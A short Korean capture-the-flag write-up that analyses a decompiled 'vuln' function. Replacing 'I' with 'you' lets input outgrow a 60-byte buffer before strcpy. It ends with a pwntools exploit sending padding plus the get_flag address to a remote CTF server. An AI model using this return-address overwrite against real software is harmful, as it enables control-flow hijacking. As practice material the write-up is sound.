int __cdecl main(int argc, const char **argv, const char **envp)
{
vuln();
return 0;
}
int vuln()
{
const char *v0; // eax
char s; // [esp+1Ch] [ebp-3Ch]
char v3; // [esp+3Ch] [ebp-1Ch]
char v4; // [esp+40h] [ebp-18h]
char v5; // [esp+47h] [ebp-11h]
char v6; // [esp+48h] [ebp-10h]
char v7; // [esp+4Fh] [ebp-9h]
printf("Tell me something about yourself: ");
fgets(&s, 32, edata);
std::string::operator=(&input, &s);
std::allocator<char>::allocator(&v5);
std::string::string(&v4, "you", &v5);
std::allocator<char>::allocator(&v7);
std::string::string(&v6, "I", &v7);
replace((std::string *)&v3);
std::string::operator=(&input, &v3, &v6, &v4);
std::string::~string((std::string *)&v3);
std::string::~string((std::string *)&v6);
std::allocator<char>::~allocator(&v7);
std::string::~string((std::string *)&v4);
std::allocator<char>::~allocator(&v5);
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(&s, v0);
return printf("So, %s\n", &s);
}
코드가 꽤 난잡하다. 그냥 실행해봤다.
실행 시 I를 Input 시키면 you로 바뀌어 출력되는 것을 확인할 수 있다.
일반적이라면 fgets함수는 32bytes를 받고, s는 ebp-3C여서 BOF가 불가능하지만, 이 프로그램에서 I를 you로 바꿔주기에 BOF가 가능해진다. 예로 s는 ebp부터 60만큼의 거리에 있는데, I를 20개 넣으면 you로 바꾸어 스택에는 꽉 찬다.
이 원리를 이용하여 Dummy(64)만큼 넣고 Ret주소를 변조시키면 된다.
gdb-peda$ info func
All defined functions:
Non-debugging symbols:
0x08048b98 _init
...
0x08048f0d get_flag
get_flag함수 확인.
Exploit Code
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3011)
system = 0x08048f0d
payload = "A" * 4
payload += "I" * 20
payload += p32(system)
p.sendline(payload)
p.interactive()